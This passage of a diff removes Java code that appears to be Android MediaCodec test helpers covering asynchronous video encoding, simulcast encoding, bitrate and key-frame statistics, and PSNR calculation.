-                result = mCodec.dequeueOutputBuffer(mBufferInfo, mTimeout);
-            }
-            if (result == MediaCodec.INFO_TRY_AGAIN_LATER) {
-                Log.v(TAG, "Out " + mId + " - TRY_AGAIN_LATER");
-            }
-
-            if (result >= 0) {
-                int outputBufIndex = result;
-                mOutput.buffer = new byte[mBufferInfo.size];
-                ByteBuffer outputBuffer = mCodec.getOutputBuffer(outputBufIndex);
-                outputBuffer.position(mBufferInfo.offset);
-                outputBuffer.get(mOutput.buffer, 0, mBufferInfo.size);
-                mOutPresentationTimeUs = mBufferInfo.presentationTimeUs;
-
-                String logStr = "Enc" + mId + ". Frame # " + mOutputFrameIndex;
-                if ((mBufferInfo.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) != 0) {
-                    logStr += " CONFIG. ";
-                }
-                if ((mBufferInfo.flags & MediaCodec.BUFFER_FLAG_SYNC_FRAME) != 0) {
-                    logStr += " KEY. ";
-                    if (!mInitialSyncFrameReceived) {
-                        mInitialSyncFrameReceived = true;
-                    }
-                }
-                if ((mBufferInfo.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
-                    logStr += " EOS. ";
-                }
-                logStr += " Size: " + mBufferInfo.size;
-                logStr += ". InTime: " + (mInPresentationTimeUs + 500)/1000 +
-                        ". OutTime: " + (mOutPresentationTimeUs + 500)/1000;
-                Log.v(TAG, logStr);
-
-                if (!mInitialSyncFrameReceived
-                        && (mBufferInfo.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) == 0) {
-                    throw new RuntimeException("Non codec_config_frame before first sync.");
-                }
-
-                if (mBufferInfo.size > 0) {
-                    mOutputFrameIndex++;
-                    mOutput.outPresentationTimeUs = mOutPresentationTimeUs;
-                }
-                mCodec.releaseOutputBuffer(outputBufIndex, false);
-
-                mOutput.flags = mBufferInfo.flags;
-                mOutput.outputGenerated = true;
-            }
-            mCallbackReceived = false;
-        }
-
-        public MediaEncoderOutput getOutput() throws Exception {
-            runCallable( new Callable<Void>() {
-                @Override
-                public Void call() throws Exception {
-                    getOutputInternal();
-                    return null;
-                }
-            } );
-            return mOutput;
-        }
-
-        public void forceSyncFrame() throws Exception {
-            final Bundle syncFrame = new Bundle();
-            syncFrame.putInt(MediaCodec.PARAMETER_KEY_REQUEST_SYNC_FRAME, 0);
-            runCallable( new Callable<Void>() {
-                @Override
-                public Void call() throws Exception {
-                    mCodec.setParameters(syncFrame);
-                    return null;
-                }
-            } );
-        }
-
-        public void updateBitrate(int bitrate) throws Exception {
-            final Bundle bitrateUpdate = new Bundle();
-            bitrateUpdate.putInt(MediaCodec.PARAMETER_KEY_VIDEO_BITRATE, bitrate);
-            runCallable( new Callable<Void>() {
-                @Override
-                public Void call() throws Exception {
-                    mCodec.setParameters(bitrateUpdate);
-                    return null;
-                }
-            } );
-        }
-
-
-        public void waitForBufferEvent() throws Exception {
-            Log.v(TAG, "----Enc" + mId + " waiting for bufferEvent");
-            if (mAsync) {
-                synchronized (mCallbackEvent) {
-                    if (!mCallbackReceived) {
-                        mCallbackEvent.wait(1000); // wait 1 sec for a callback
-                        // throw an exception if callback was not received
-                        if (!mCallbackReceived) {
-                            throw new RuntimeException("MediaCodec callback was not received");
-                        }
-                    }
-                }
-            } else {
-                Thread.sleep(5);
-            }
-            Log.v(TAG, "----Waiting for bufferEvent done");
-        }
-
-
-        public void waitForCompletion(long timeoutMs) throws Exception {
-            synchronized (mCompletionEvent) {
-                long timeoutExpiredMs = System.currentTimeMillis() + timeoutMs;
-
-                while (!mCompleted) {
-                    mCompletionEvent.wait(timeoutExpiredMs - System.currentTimeMillis());
-                    if (System.currentTimeMillis() >= timeoutExpiredMs) {
-                        throw new RuntimeException("encoding has timed out!");
-                    }
-                }
-            }
-        }
-
-        public void signalCompletion() {
-            synchronized (mCompletionEvent) {
-                mCompleted = true;
-                mCompletionEvent.notify();
-            }
-        }
-
-        public void deleteCodec() throws Exception {
-            runCallable( new Callable<Void>() {
-                @Override
-                public Void call() throws Exception {
-                    mCodec.stop();
-                    mCodec.release();
-                    return null;
-                }
-            } );
-            if (mAsync) {
-                requestStop(); // Stop looper thread
-            }
-        }
-    }
-
-    /**
-     * @see #encode(EncoderOutputStreamParameters, ArrayList<ByteBuffer>)
-     */
-    protected ArrayList<MediaCodec.BufferInfo> encode(
-            EncoderOutputStreamParameters streamParams) throws Exception {
-        return encode(streamParams, new ArrayList<ByteBuffer>());
-    }
-
-    /**
-     * Video encoding loop supporting encoding single streams with an option
-     * to run in a looper thread and use buffer ready notification callbacks.
-     *
-     * Output stream is described by encodingParams parameters.
-     *
-     * MediaCodec will raise an IllegalStateException
-     * whenever video encoder fails to encode a frame.
-     *
-     * Color format of input file should be YUV420, and frameWidth,
-     * frameHeight should be supplied correctly as raw input file doesn't
-     * include any header data.
-     *
-     * @param streamParams  Structure with encoder parameters
-     * @param codecConfigs  List to be filled with codec config buffers
-     * @return              Returns array of encoded frames information for each frame.
-     */
-    protected ArrayList<MediaCodec.BufferInfo> encode(
-            EncoderOutputStreamParameters streamParams,
-            ArrayList<ByteBuffer> codecConfigs) throws Exception {
-
-        ArrayList<MediaCodec.BufferInfo> bufferInfos = new ArrayList<MediaCodec.BufferInfo>();
-        Log.d(TAG, "Source resolution: "+streamParams.frameWidth + " x " +
-                streamParams.frameHeight);
-        int bitrate = streamParams.bitrateSet[0];
-
-        // Create minimal media format signifying desired output.
-        MediaFormat format = MediaFormat.createVideoFormat(
-                streamParams.codecMimeType, streamParams.frameWidth,
-                streamParams.frameHeight);
-        format.setInteger(MediaFormat.KEY_BIT_RATE, bitrate);
-        CodecProperties properties = getVideoCodecProperties(
-                true, format, streamParams.forceGoogleEncoder);
-        if (properties == null) {
-            return null;
-        }
-
-        // Open input/output
-        InputStream yuvStream = OpenFileOrResource(
-                streamParams.inputYuvFilename, streamParams.inputResource);
-        IvfWriter ivf = new IvfWriter(
-                streamParams.outputIvfFilename, streamParams.codecMimeType,
-                streamParams.frameWidth, streamParams.frameHeight);
-
-        // Create a media format signifying desired output.
-        if (streamParams.bitrateType == VIDEO_ControlRateConstant) {
-            format.setInteger("bitrate-mode", VIDEO_ControlRateConstant); // set CBR
-        }
-        if (streamParams.temporalLayers > 0) {
-            format.setInteger("ts-layers", streamParams.temporalLayers); // 1 temporal layer
-        }
-        format.setInteger(MediaFormat.KEY_COLOR_FORMAT, properties.colorFormat);
-        format.setInteger(MediaFormat.KEY_FRAME_RATE, streamParams.frameRate);
-        int syncFrameInterval = (streamParams.syncFrameInterval + streamParams.frameRate/2) /
-                streamParams.frameRate;
-        format.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, syncFrameInterval);
-
-        // Create encoder
-        Log.d(TAG, "Creating encoder " + properties.codecName +
-                ". Color format: 0x" + Integer.toHexString(properties.colorFormat)+ " : " +
-                streamParams.frameWidth + " x " + streamParams.frameHeight +
-                ". Bitrate: " + bitrate + " Bitrate type: " + streamParams.bitrateType +
-                ". Fps:" + streamParams.frameRate + ". TS Layers: " + streamParams.temporalLayers +
-                ". Key frame:" + syncFrameInterval * streamParams.frameRate +
-                ". Force keyFrame: " + streamParams.syncForceFrameInterval);
-        Log.d(TAG, "  Format: " + format);
-        Log.d(TAG, "  Output ivf:" + streamParams.outputIvfFilename);
-        MediaEncoderAsync codec = new MediaEncoderAsync();
-        codec.createCodec(0, properties.codecName, format,
-                streamParams.timeoutDequeue, streamParams.runInLooperThread, streamParams.useNdk);
-
-        // encode loop
-        boolean sawInputEOS = false;  // no more data
-        boolean consumedInputEOS = false; // EOS flag is consumed dy encoder
-        boolean sawOutputEOS = false;
-        boolean inputConsumed = true;
-        int inputFrameIndex = 0;
-        int lastBitrate = bitrate;
-        int srcFrameSize = streamParams.frameWidth * streamParams.frameHeight * 3 / 2;
-        byte[] srcFrame = new byte[srcFrameSize];
-
-        while (!sawOutputEOS) {
-
-            // Read and feed input frame
-            if (!consumedInputEOS) {
-
-                // Read new input buffers - if previous input was consumed and no EOS
-                if (inputConsumed && !sawInputEOS) {
-                    int bytesRead = yuvStream.read(srcFrame);
-
-                    // Check EOS
-                    if (streamParams.frameCount > 0 && inputFrameIndex >= streamParams.frameCount) {
-                        sawInputEOS = true;
-                        Log.d(TAG, "---Sending EOS empty frame for frame # " + inputFrameIndex);
-                    }
-
-                    if (!sawInputEOS && bytesRead == -1) {
-                        if (streamParams.frameCount == 0) {
-                            sawInputEOS = true;
-                            Log.d(TAG, "---Sending EOS empty frame for frame # " + inputFrameIndex);
-                        } else {
-                            yuvStream.close();
-                            yuvStream = OpenFileOrResource(
-                                    streamParams.inputYuvFilename, streamParams.inputResource);
-                            bytesRead = yuvStream.read(srcFrame);
-                        }
-                    }
-
-                    // Force sync frame if syncForceFrameinterval is set.
-                    if (!sawInputEOS && inputFrameIndex > 0 &&
-                            streamParams.syncForceFrameInterval > 0 &&
-                            (inputFrameIndex % streamParams.syncForceFrameInterval) == 0) {
-                        Log.d(TAG, "---Requesting sync frame # " + inputFrameIndex);
-                        codec.forceSyncFrame();
-                    }
-
-                    // Dynamic bitrate change.
-                    if (!sawInputEOS && streamParams.bitrateSet.length > inputFrameIndex) {
-                        int newBitrate = streamParams.bitrateSet[inputFrameIndex];
-                        if (newBitrate != lastBitrate) {
-                            Log.d(TAG, "--- Requesting new bitrate " + newBitrate +
-                                    " for frame " + inputFrameIndex);
-                            codec.updateBitrate(newBitrate);
-                            lastBitrate = newBitrate;
-                        }
-                    }
-
-                    // Convert YUV420 to NV12 if necessary
-                    if (properties.colorFormat != CodecCapabilities.COLOR_FormatYUV420Planar) {
-                        srcFrame = YUV420ToNV(streamParams.frameWidth, streamParams.frameHeight,
-                                srcFrame);
-                    }
-                }
-
-                inputConsumed = codec.feedInput(srcFrame, sawInputEOS);
-                if (inputConsumed) {
-                    inputFrameIndex++;
-                    consumedInputEOS = sawInputEOS;
-                }
-            }
-
-            // Get output from the encoder
-            MediaEncoderOutput out = codec.getOutput();
-            if (out.outputGenerated) {
-                // Detect output EOS
-                if ((out.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
-                    Log.d(TAG, "----Output EOS ");
-                    sawOutputEOS = true;
-                }
-                if ((out.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) != 0) {
-                    Log.d(TAG, "Storing codec config separately");
-                    ByteBuffer csdBuffer = ByteBuffer.allocate(out.buffer.length).put(out.buffer);
-                    csdBuffer.rewind();
-                    codecConfigs.add(csdBuffer);
-                    out.buffer = new byte[0];
-                }
-
-                if (out.buffer.length > 0) {
-                    // Save frame
-                    ivf.writeFrame(out.buffer, out.outPresentationTimeUs);
-
-                    // Update statistics - store presentation time delay in offset
-                    long presentationTimeUsDelta = out.inPresentationTimeUs -
-                            out.outPresentationTimeUs;
-                    MediaCodec.BufferInfo bufferInfoCopy = new MediaCodec.BufferInfo();
-                    bufferInfoCopy.set((int)presentationTimeUsDelta, out.buffer.length,
-                            out.outPresentationTimeUs, out.flags);
-                    bufferInfos.add(bufferInfoCopy);
-                }
-            }
-
-            // If codec is not ready to accept input/poutput - wait for buffer ready callback
-            if ((!inputConsumed || consumedInputEOS) && !out.outputGenerated) {
-                codec.waitForBufferEvent();
-            }
-        }
-
-        codec.deleteCodec();
-        ivf.close();
-        yuvStream.close();
-
-        return bufferInfos;
-    }
-
-    /**
-     * Video encoding run in a looper thread and use buffer ready callbacks.
-     *
-     * Output stream is described by encodingParams parameters.
-     *
-     * MediaCodec will raise an IllegalStateException
-     * whenever video encoder fails to encode a frame.
-     *
-     * Color format of input file should be YUV420, and frameWidth,
-     * frameHeight should be supplied correctly as raw input file doesn't
-     * include any header data.
-     *
-     * @param streamParams  Structure with encoder parameters
-     * @param codecConfigs  List to be filled with codec config buffers
-     * @return              Returns array of encoded frames information for each frame.
-     */
-    protected ArrayList<MediaCodec.BufferInfo> encodeAsync(
-            EncoderOutputStreamParameters streamParams,
-            ArrayList<ByteBuffer> codecConfigs) throws Exception {
-        if (!streamParams.runInLooperThread) {
-            throw new RuntimeException("encodeAsync should run with a looper thread!");
-        }
-
-        ArrayList<MediaCodec.BufferInfo> bufferInfos = new ArrayList<MediaCodec.BufferInfo>();
-        Log.d(TAG, "Source resolution: "+streamParams.frameWidth + " x " +
-                streamParams.frameHeight);
-        int bitrate = streamParams.bitrateSet[0];
-
-        // Create minimal media format signifying desired output.
-        MediaFormat format = MediaFormat.createVideoFormat(
-                streamParams.codecMimeType, streamParams.frameWidth,
-                streamParams.frameHeight);
-        format.setInteger(MediaFormat.KEY_BIT_RATE, bitrate);
-        CodecProperties properties = getVideoCodecProperties(
-                true, format, streamParams.forceGoogleEncoder);
-        if (properties == null) {
-            return null;
-        }
-
-        // Open input/output
-        IvfWriter ivf = new IvfWriter(
-                streamParams.outputIvfFilename, streamParams.codecMimeType,
-                streamParams.frameWidth, streamParams.frameHeight);
-
-        // Create a media format signifying desired output.
-        if (streamParams.bitrateType == VIDEO_ControlRateConstant) {
-            format.setInteger("bitrate-mode", VIDEO_ControlRateConstant); // set CBR
-        }
-        if (streamParams.temporalLayers > 0) {
-            format.setInteger("ts-layers", streamParams.temporalLayers); // 1 temporal layer
-        }
-        format.setInteger(MediaFormat.KEY_COLOR_FORMAT, properties.colorFormat);
-        format.setInteger(MediaFormat.KEY_FRAME_RATE, streamParams.frameRate);
-        int syncFrameInterval = (streamParams.syncFrameInterval + streamParams.frameRate/2) /
-                streamParams.frameRate;
-        format.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, syncFrameInterval);
-
-        // Create encoder
-        Log.d(TAG, "Creating encoder " + properties.codecName +
-                ". Color format: 0x" + Integer.toHexString(properties.colorFormat)+ " : " +
-                streamParams.frameWidth + " x " + streamParams.frameHeight +
-                ". Bitrate: " + bitrate + " Bitrate type: " + streamParams.bitrateType +
-                ". Fps:" + streamParams.frameRate + ". TS Layers: " + streamParams.temporalLayers +
-                ". Key frame:" + syncFrameInterval * streamParams.frameRate +
-                ". Force keyFrame: " + streamParams.syncForceFrameInterval);
-        Log.d(TAG, "  Format: " + format);
-        Log.d(TAG, "  Output ivf:" + streamParams.outputIvfFilename);
-
-        MediaEncoderAsync codec = new MediaEncoderAsync();
-        MediaEncoderAsyncHelper helper = new MediaEncoderAsyncHelper(
-                streamParams, properties, bufferInfos, ivf, codecConfigs);
-
-        codec.setAsyncHelper(helper);
-        codec.createCodec(0, properties.codecName, format,
-                streamParams.timeoutDequeue, streamParams.runInLooperThread, streamParams.useNdk);
-        codec.waitForCompletion(DEFAULT_ENCODE_TIMEOUT_MS);
-
-        codec.deleteCodec();
-        ivf.close();
-
-        return bufferInfos;
-    }
-
-    /**
-     * Video encoding loop supporting encoding multiple streams at a time.
-     * Each output stream is described by encodingParams parameters allowing
-     * simultaneous encoding of various resolutions, bitrates with an option to
-     * control key frame and dynamic bitrate for each output stream indepandently.
-     *
-     * MediaCodec will raise an IllegalStateException
-     * whenever video encoder fails to encode a frame.
-     *
-     * Color format of input file should be YUV420, and frameWidth,
-     * frameHeight should be supplied correctly as raw input file doesn't
-     * include any header data.
-     *
-     * @param srcFrameWidth     Frame width of input yuv file
-     * @param srcFrameHeight    Frame height of input yuv file
-     * @param encodingParams    Encoder parameters
-     * @param codecConfigs      List to be filled with codec config buffers
-     * @return                  Returns 2D array of encoded frames information for each stream and
-     *                          for each frame.
-     */
-    protected ArrayList<ArrayList<MediaCodec.BufferInfo>> encodeSimulcast(
-            int srcFrameWidth,
-            int srcFrameHeight,
-            ArrayList<EncoderOutputStreamParameters> encodingParams,
-            ArrayList<ArrayList<ByteBuffer>> codecConfigs) throws Exception {
-        int numEncoders = encodingParams.size();
-
-        // Create arrays of input/output, formats, bitrates etc
-        ArrayList<ArrayList<MediaCodec.BufferInfo>> bufferInfos =
-                new ArrayList<ArrayList<MediaCodec.BufferInfo>>(numEncoders);
-        InputStream yuvStream[] = new InputStream[numEncoders];
-        IvfWriter[] ivf = new IvfWriter[numEncoders];
-        FileOutputStream[] yuvScaled = new FileOutputStream[numEncoders];
-        MediaFormat[] format = new MediaFormat[numEncoders];
-        MediaEncoderAsync[] codec = new MediaEncoderAsync[numEncoders];
-        int[] inputFrameIndex = new int[numEncoders];
-        boolean[] sawInputEOS = new boolean[numEncoders];
-        boolean[] consumedInputEOS = new boolean[numEncoders];
-        boolean[] inputConsumed = new boolean[numEncoders];
-        boolean[] bufferConsumed = new boolean[numEncoders];
-        boolean[] sawOutputEOS = new boolean[numEncoders];
-        byte[][] srcFrame = new byte[numEncoders][];
-        boolean sawOutputEOSTotal = false;
-        boolean bufferConsumedTotal = false;
-        CodecProperties[] codecProperties = new CodecProperties[numEncoders];
-
-        numEncoders = 0;
-        for (EncoderOutputStreamParameters params : encodingParams) {
-            int i = numEncoders;
-            Log.d(TAG, "Source resolution: " + params.frameWidth + " x " +
-                    params.frameHeight);
-            int bitrate = params.bitrateSet[0];
-
-            // Create minimal media format signifying desired output.
-            format[i] = MediaFormat.createVideoFormat(
-                    params.codecMimeType, params.frameWidth,
-                    params.frameHeight);
-            format[i].setInteger(MediaFormat.KEY_BIT_RATE, bitrate);
-            CodecProperties properties = getVideoCodecProperties(
-                    true, format[i], params.forceGoogleEncoder);
-            if (properties == null) {
-                continue;
-            }
-
-            // Check if scaled image was created
-            int scale = params.frameWidth / srcFrameWidth;
-            if (!mScaledImages.contains(scale)) {
-                // resize image
-                cacheScaledImage(params.inputYuvFilename, params.inputResource,
-                        srcFrameWidth, srcFrameHeight,
-                        params.scaledYuvFilename, params.frameWidth, params.frameHeight);
-                mScaledImages.add(scale);
-            }
-
-            // Create buffer info storage
-            bufferInfos.add(new ArrayList<MediaCodec.BufferInfo>());
-
-            // Create YUV reader
-            yuvStream[i] = new FileInputStream(params.scaledYuvFilename);
-
-            // Create IVF writer
-            ivf[i] = new IvfWriter(
-                    params.outputIvfFilename, params.codecMimeType,
-                    params.frameWidth, params.frameHeight);
-
-            // Frame buffer
-            int frameSize = params.frameWidth * params.frameHeight * 3 / 2;
-            srcFrame[i] = new byte[frameSize];
-
-            // Create a media format signifying desired output.
-            if (params.bitrateType == VIDEO_ControlRateConstant) {
-                format[i].setInteger("bitrate-mode", VIDEO_ControlRateConstant); // set CBR
-            }
-            if (params.temporalLayers > 0) {
-                format[i].setInteger("ts-layers", params.temporalLayers); // 1 temporal layer
-            }
-            format[i].setInteger(MediaFormat.KEY_COLOR_FORMAT, properties.colorFormat);
-            format[i].setInteger(MediaFormat.KEY_FRAME_RATE, params.frameRate);
-            int syncFrameInterval = (params.syncFrameInterval + params.frameRate/2) /
-                    params.frameRate; // in sec
-            format[i].setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, syncFrameInterval);
-            // Create encoder
-            Log.d(TAG, "Creating encoder #" + i +" : " + properties.codecName +
-                    ". Color format: 0x" + Integer.toHexString(properties.colorFormat)+ " : " +
-                    params.frameWidth + " x " + params.frameHeight +
-                    ". Bitrate: " + bitrate + " Bitrate type: " + params.bitrateType +
-                    ". Fps:" + params.frameRate + ". TS Layers: " + params.temporalLayers +
-                    ". Key frame:" + syncFrameInterval * params.frameRate +
-                    ". Force keyFrame: " + params.syncForceFrameInterval);
-            Log.d(TAG, "  Format: " + format[i]);
-            Log.d(TAG, "  Output ivf:" + params.outputIvfFilename);
-
-            // Create encoder
-            codec[i] = new MediaEncoderAsync();
-            codec[i].createCodec(i, properties.codecName, format[i],
-                    params.timeoutDequeue, params.runInLooperThread, params.useNdk);
-            codecProperties[i] = new CodecProperties(properties.codecName, properties.colorFormat);
-
-            inputConsumed[i] = true;
-            ++numEncoders;
-        }
-        if (numEncoders == 0) {
-            Log.i(TAG, "no suitable encoders found for any of the streams");
-            return null;
-        }
-
-        while (!sawOutputEOSTotal) {
-            // Feed input buffer to all encoders
-            for (int i = 0; i < numEncoders; i++) {
-                bufferConsumed[i] = false;
-                if (consumedInputEOS[i]) {
-                    continue;
-                }
-
-                EncoderOutputStreamParameters params = encodingParams.get(i);
-                // Read new input buffers - if previous input was consumed and no EOS
-                if (inputConsumed[i] && !sawInputEOS[i]) {
-                    int bytesRead = yuvStream[i].read(srcFrame[i]);
-
-                    // Check EOS
-                    if (params.frameCount > 0 && inputFrameIndex[i] >= params.frameCount) {
-                        sawInputEOS[i] = true;
-                        Log.d(TAG, "---Enc" + i +
-                                ". Sending EOS empty frame for frame # " + inputFrameIndex[i]);
-                    }
-
-                    if (!sawInputEOS[i] && bytesRead == -1) {
-                        if (params.frameCount == 0) {
-                            sawInputEOS[i] = true;
-                            Log.d(TAG, "---Enc" + i +
-                                    ". Sending EOS empty frame for frame # " + inputFrameIndex[i]);
-                        } else {
-                            yuvStream[i].close();
-                            yuvStream[i] = new FileInputStream(params.scaledYuvFilename);
-                            bytesRead = yuvStream[i].read(srcFrame[i]);
-                        }
-                    }
-
-                    // Convert YUV420 to NV12 if necessary
-                    if (codecProperties[i].colorFormat !=
-                            CodecCapabilities.COLOR_FormatYUV420Planar) {
-                        srcFrame[i] =
-                            YUV420ToNV(params.frameWidth, params.frameHeight, srcFrame[i]);
-                    }
-                }
-
-                inputConsumed[i] = codec[i].feedInput(srcFrame[i], sawInputEOS[i]);
-                if (inputConsumed[i]) {
-                    inputFrameIndex[i]++;
-                    consumedInputEOS[i] = sawInputEOS[i];
-                    bufferConsumed[i] = true;
-                }
-
-            }
-
-            // Get output from all encoders
-            for (int i = 0; i < numEncoders; i++) {
-                if (sawOutputEOS[i]) {
-                    continue;
-                }
-
-                MediaEncoderOutput out = codec[i].getOutput();
-                if (out.outputGenerated) {
-                    bufferConsumed[i] = true;
-                    // Detect output EOS
-                    if ((out.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
-                        Log.d(TAG, "----Enc" + i + ". Output EOS ");
-                        sawOutputEOS[i] = true;
-                    }
-                    if ((out.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) != 0) {
-                        Log.d(TAG, "----Enc" + i + ". Storing codec config separately");
-                        ByteBuffer csdBuffer = ByteBuffer.allocate(out.buffer.length).put(out.buffer);
-                        csdBuffer.rewind();
-                        codecConfigs.get(i).add(csdBuffer);
-                        out.buffer = new byte[0];
-                    }
-
-                    if (out.buffer.length > 0) {
-                        // Save frame
-                        ivf[i].writeFrame(out.buffer, out.outPresentationTimeUs);
-
-                        // Update statistics - store presentation time delay in offset
-                        long presentationTimeUsDelta = out.inPresentationTimeUs -
-                                out.outPresentationTimeUs;
-                        MediaCodec.BufferInfo bufferInfoCopy = new MediaCodec.BufferInfo();
-                        bufferInfoCopy.set((int)presentationTimeUsDelta, out.buffer.length,
-                                out.outPresentationTimeUs, out.flags);
-                        bufferInfos.get(i).add(bufferInfoCopy);
-                    }
-                }
-            }
-
-            // If codec is not ready to accept input/output - wait for buffer ready callback
-            bufferConsumedTotal = false;
-            for (boolean bufferConsumedCurrent : bufferConsumed) {
-                bufferConsumedTotal |= bufferConsumedCurrent;
-            }
-            if (!bufferConsumedTotal) {
-                // Pick the encoder to wait for
-                for (int i = 0; i < numEncoders; i++) {
-                    if (!bufferConsumed[i] && !sawOutputEOS[i]) {
-                        codec[i].waitForBufferEvent();
-                        break;
-                    }
-                }
-            }
-
-            // Check if EOS happened for all encoders
-            sawOutputEOSTotal = true;
-            for (boolean sawOutputEOSStream : sawOutputEOS) {
-                sawOutputEOSTotal &= sawOutputEOSStream;
-            }
-        }
-
-        for (int i = 0; i < numEncoders; i++) {
-            codec[i].deleteCodec();
-            ivf[i].close();
-            yuvStream[i].close();
-            if (yuvScaled[i] != null) {
-                yuvScaled[i].close();
-            }
-        }
-
-        return bufferInfos;
-    }
-
-    /**
-     * Some encoding statistics.
-     */
-    protected class VideoEncodingStatistics {
-        VideoEncodingStatistics() {
-            mBitrates = new ArrayList<Integer>();
-            mFrames = new ArrayList<Integer>();
-            mKeyFrames = new ArrayList<Integer>();
-            mMinimumKeyFrameInterval = Integer.MAX_VALUE;
-        }
-
-        public ArrayList<Integer> mBitrates;// Bitrate values for each second of the encoded stream.
-        public ArrayList<Integer> mFrames; // Number of frames in each second of the encoded stream.
-        public int mAverageBitrate;         // Average stream bitrate.
-        public ArrayList<Integer> mKeyFrames;// Stores the position of key frames in a stream.
-        public int mAverageKeyFrameInterval; // Average key frame interval.
-        public int mMaximumKeyFrameInterval; // Maximum key frame interval.
-        public int mMinimumKeyFrameInterval; // Minimum key frame interval.
-    }
-
-    /**
-     * Calculates average bitrate and key frame interval for the encoded streams.
-     * Output mBitrates field will contain bitrate values for every second
-     * of the encoded stream.
-     * Average stream bitrate will be stored in mAverageBitrate field.
-     * mKeyFrames array will contain the position of key frames in the encoded stream and
-     * mKeyFrameInterval - average key frame interval.
-     */
-    protected VideoEncodingStatistics computeEncodingStatistics(int encoderId,
-            ArrayList<MediaCodec.BufferInfo> bufferInfos ) {
-        VideoEncodingStatistics statistics = new VideoEncodingStatistics();
-
-        int totalSize = 0;
-        int frames = 0;
-        int framesPerSecond = 0;
-        int totalFrameSizePerSecond = 0;
-        int maxFrameSize = 0;
-        int currentSecond;
-        int nextSecond = 0;
-        String keyFrameList = "  IFrame List: ";
-        String bitrateList = "  Bitrate list: ";
-        String framesList = "  FPS list: ";
-
-
-        for (int j = 0; j < bufferInfos.size(); j++) {
-            MediaCodec.BufferInfo info = bufferInfos.get(j);
-            currentSecond = (int)(info.presentationTimeUs / 1000000);
-            boolean lastFrame = (j == bufferInfos.size() - 1);
-            if (!lastFrame) {
-                nextSecond = (int)(bufferInfos.get(j+1).presentationTimeUs / 1000000);
-            }
-
-            totalSize += info.size;
-            totalFrameSizePerSecond += info.size;
-            maxFrameSize = Math.max(maxFrameSize, info.size);
-            framesPerSecond++;
-            frames++;
-
-            // Update the bitrate statistics if the next frame will
-            // be for the next second
-            if (lastFrame || nextSecond > currentSecond) {
-                int currentBitrate = totalFrameSizePerSecond * 8;
-                bitrateList += (currentBitrate + " ");
-                framesList += (framesPerSecond + " ");
-                statistics.mBitrates.add(currentBitrate);
-                statistics.mFrames.add(framesPerSecond);
-                totalFrameSizePerSecond = 0;
-                framesPerSecond = 0;
-            }
-
-            // Update key frame statistics.
-            if ((info.flags & MediaCodec.BUFFER_FLAG_SYNC_FRAME) != 0) {
-                statistics.mKeyFrames.add(j);
-                keyFrameList += (j + "  ");
-            }
-        }
-        int duration = (int)(bufferInfos.get(bufferInfos.size() - 1).presentationTimeUs / 1000);
-        duration = (duration + 500) / 1000;
-        statistics.mAverageBitrate = (int)(((long)totalSize * 8) / duration);
-        Log.d(TAG, "Statistics for encoder # " + encoderId);
-        // Calculate average key frame interval in frames.
-        int keyFrames = statistics.mKeyFrames.size();
-        if (keyFrames > 1) {
-            statistics.mAverageKeyFrameInterval =
-                    statistics.mKeyFrames.get(keyFrames - 1) - statistics.mKeyFrames.get(0);
-            statistics.mAverageKeyFrameInterval =
-                    Math.round((float)statistics.mAverageKeyFrameInterval / (keyFrames - 1));
-            for (int j = 1; j < keyFrames; j++) {
-                int keyFrameInterval =
-                        statistics.mKeyFrames.get(j) - statistics.mKeyFrames.get(j - 1);
-                statistics.mMaximumKeyFrameInterval =
-                        Math.max(statistics.mMaximumKeyFrameInterval, keyFrameInterval);
-                statistics.mMinimumKeyFrameInterval =
-                        Math.min(statistics.mMinimumKeyFrameInterval, keyFrameInterval);
-            }
-            Log.d(TAG, "  Key frame intervals: Max: " + statistics.mMaximumKeyFrameInterval +
-                    ". Min: " + statistics.mMinimumKeyFrameInterval +
-                    ". Avg: " + statistics.mAverageKeyFrameInterval);
-        }
-        Log.d(TAG, "  Frames: " + frames + ". Duration: " + duration +
-                ". Total size: " + totalSize + ". Key frames: " + keyFrames);
-        Log.d(TAG, keyFrameList);
-        Log.d(TAG, bitrateList);
-        Log.d(TAG, framesList);
-        Log.d(TAG, "  Bitrate average: " + statistics.mAverageBitrate);
-        Log.d(TAG, "  Maximum frame size: " + maxFrameSize);
-
-        return statistics;
-    }
-
-    protected VideoEncodingStatistics computeEncodingStatistics(
-            ArrayList<MediaCodec.BufferInfo> bufferInfos ) {
-        return computeEncodingStatistics(0, bufferInfos);
-    }
-
-    protected ArrayList<VideoEncodingStatistics> computeSimulcastEncodingStatistics(
-            ArrayList<ArrayList<MediaCodec.BufferInfo>> bufferInfos) {
-        int numCodecs = bufferInfos.size();
-        ArrayList<VideoEncodingStatistics> statistics = new ArrayList<VideoEncodingStatistics>();
-
-        for (int i = 0; i < numCodecs; i++) {
-            VideoEncodingStatistics currentStatistics =
-                    computeEncodingStatistics(i, bufferInfos.get(i));
-            statistics.add(currentStatistics);
-        }
-        return statistics;
-    }
-
-    /**
-     * Calculates maximum latency for encoder/decoder based on buffer info array
-     * generated either by encoder or decoder.
-     */
-    protected int maxPresentationTimeDifference(ArrayList<MediaCodec.BufferInfo> bufferInfos) {
-        int maxValue = 0;
-        for (MediaCodec.BufferInfo bufferInfo : bufferInfos) {
-            maxValue = Math.max(maxValue,  bufferInfo.offset);
-        }
-        maxValue = (maxValue + 500) / 1000; // mcs -> ms
-        return maxValue;
-    }
-
-    /**
-     * Decoding PSNR statistics.
-     */
-    protected class VideoDecodingStatistics {
-        VideoDecodingStatistics() {
-            mMinimumPSNR = Integer.MAX_VALUE;
-        }
-        public double mAveragePSNR;
-        public double mMinimumPSNR;
-    }
-
-    /**
-     * Calculates PSNR value between two video frames.
-     */
-    private double computePSNR(byte[] data0, byte[] data1) {
-        long squareError = 0;
-        assertTrue(data0.length == data1.length);
-        int length = data0.length;
-        for (int i = 0 ; i < length; i++) {
-            int diff = ((int)data0[i] & 0xff) - ((int)data1[i] & 0xff);
-            squareError += diff * diff;
-        }
-        double meanSquareError = (double)squareError / length;
-        double psnr = 10 * Math.log10((double)255 * 255 / meanSquareError);
